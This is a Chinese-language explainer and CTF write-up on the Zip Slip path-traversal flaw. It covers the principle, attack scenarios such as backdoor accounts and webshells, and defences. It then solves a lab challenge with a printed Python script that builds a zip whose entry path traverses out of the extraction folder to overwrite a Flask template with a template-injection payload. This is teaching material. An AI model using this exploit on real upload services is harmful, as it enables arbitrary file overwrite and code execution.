Zip Slip 是一种高危的目录遍历漏洞,主要发生在文件解压过程中。攻击者通过构造恶意的压缩包,利用路径遍历字符(如 ../)覆盖服务器上的任意文件,甚至实现远程代码执行(RCE)。
漏洞原理:
当解压程序未对压缩包内的文件名进行安全校验时,攻击者可以构造一个包含特殊路径的文件名,例如:
../../../etc/passwd
../../../../var/www/html/index.php
解压时,程序会按照这个路径将文件写入到指定位置,从而覆盖系统关键文件。
攻击场景:
覆盖系统文件:覆盖 /etc/passwd 或 /etc/shadow,添加后门账户。
覆盖Web文件:覆盖网站源码,植入Webshell。
覆盖配置文件:修改服务配置,导致服务异常或权限提升。
防御措施:
路径校验:解压前检查文件名是否包含 ../ 或绝对路径。
限制解压目录:强制所有文件解压到指定目录,禁止跳出。
使用安全库:如 Java 的 java.util.zip 库在 JDK 8 及以下版本存在此风险,建议升级或使用 Apache Commons Compress 等安全库。
python制作压缩包
import zipfilepayload = """<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p>{{ config['ZEROG_FLAG'] }}</p>
</div>
"""with zipfile.ZipFile("evil_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:z.writestr("../../templates/theme/card.html", payload)
解释:
(1)zipfile.ZipFile("evil_theme.zip", "w", ...):创建一个名为 evil_theme.zip 的新压缩包,模式为写入("w")。
(2)z.writestr(filename, data):这是最关键的一步。它不读取磁盘上的文件,而是直接将内存中的字符串 payload 写入压缩包,并指定其在压缩包内的文件名为 filename
例题:见zip slip目录遍历漏洞复现
降低难度,白盒审计题,附件中为附件源码 Flag 格式:flag{...} ZeroG 空间站上线了一个照片墙系统,成员可以上传轨道照片,也可以上传自定义主题包来改变照片卡片样式。 开发人员声称: “主题包只是 ZIP,里面放一些 HTML 片段和资源文件,不会有危险。” Fen 看完源码后留下了一句话: “压缩包里的路径,也许不只通向解压目录。” 请利用主题包上传功能读取动态 flag。
提示说明和压缩包路径有关,能想到软链接或者路径穿越
代码审计一下就能发现是路径穿越

解压目录是/app/themes/<uuid>/
再审计一下代码发现gallery.html会包含card.html,且能看出是flask模板

思路就是 伪造../../templates/theme/card.html文件并通过路径穿越覆盖card.html,查看app.py发现/gallery路由访问后包含card.html触发ssti
根据docker-compose.yml的内容得知flag在环境变量里

python制作压缩包
import zipfilepayload = """<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p>{{ config['ZEROG_FLAG'] }}</p>
</div>
"""with zipfile.ZipFile("evil_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:z.writestr("../../templates/theme/card.html", payload)

上传后即可看到flag
